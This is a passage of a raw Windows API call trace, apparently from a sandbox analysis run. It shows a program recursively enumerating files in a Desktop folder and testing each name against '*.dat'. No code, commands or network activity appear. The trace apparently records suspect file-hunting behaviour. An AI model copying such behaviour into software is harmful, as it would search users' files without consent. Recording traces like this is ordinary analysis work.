lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.552] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.552] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.553] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.553] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.553] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.553] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", lpUsedDefaultChar=0x0) returned 70 [0146.553] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362990 [0146.553] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.553] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.553] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.553] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.553] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*.dat") returned 0 [0146.553] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362990 | out: hHeap=0x2360000) returned 1 [0146.553] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9", cAlternateFileName="")) returned 1 [0146.553] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.553] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.553] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.553] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.553] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.554] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.554] lstrcmpW (lpString1="Mhr9", lpString2=".") returned 1 [0146.554] lstrcmpW (lpString1="Mhr9", lpString2="..") returned 1 [0146.554] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*" [0146.554] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882cf0 [0146.554] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.554] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.554] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.554] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.554] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.554] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.555] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.555] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.555] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.555] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.555] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.555] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9341b3e0, ftCreationTime.dwHighDateTime=0x1d7ad29, ftLastAccessTime.dwLowDateTime=0xe4634550, ftLastAccessTime.dwHighDateTime=0x1d7ae40, ftLastWriteTime.dwLowDateTime=0xe4634550, ftLastWriteTime.dwHighDateTime=0x1d7ae40, nFileSizeHigh=0x0, nFileSizeLow=0x25cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsOVvpw5D.jpg", cAlternateFileName="JSOVVP~1.JPG")) returned 1 [0146.555] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.555] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.555] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.555] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.555] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.555] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x33400d0 [0146.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x33400d0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", lpUsedDefaultChar=0x0) returned 70 [0146.555] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362ca8 [0146.555] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.556] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac60 [0146.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ac60, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac60 | out: hHeap=0x2360000) returned 1 [0146.556] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*.dat") returned 0 [0146.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362ca8 | out: hHeap=0x2360000) returned 1 [0146.556] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926ae940, ftCreationTime.dwHighDateTime=0x1d7a591, ftLastAccessTime.dwLowDateTime=0xaf78d1f0, ftLastAccessTime.dwHighDateTime=0x1d7ab3b, ftLastWriteTime.dwLowDateTime=0xaf78d1f0, ftLastWriteTime.dwHighDateTime=0x1d7ab3b, nFileSizeHigh=0x0, nFileSizeLow=0x15bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZTd4bP.mp4", cAlternateFileName="")) returned 1 [0146.556] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.556] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.556] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.556] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.556] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.556] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.556] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0146.556] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x44) returned 0x33400d0 [0146.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x33400d0, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", lpUsedDefaultChar=0x0) returned 68 [0146.556] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362c50 [0146.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.556] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.557] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ac00 [0146.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ac00, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.557] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0146.557] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*.dat") returned 0 [0146.557] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362c50 | out: hHeap=0x2360000) returned 1 [0146.557] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 1 [0146.557] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.557] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.557] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.557] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.557] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.557] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.557] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.557] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362830 [0146.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x2362830, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", lpUsedDefaultChar=0x0) returned 73 [0146.557] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362bf8 [0146.557] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362830 | out: hHeap=0x2360000) returned 1 [0146.557] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.558] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.558] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.558] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*.dat") returned 0 [0146.558] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.558] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 0 [0146.558] FindClose (in: hFindFile=0x882cf0 | out: hFindFile=0x882cf0) returned 1 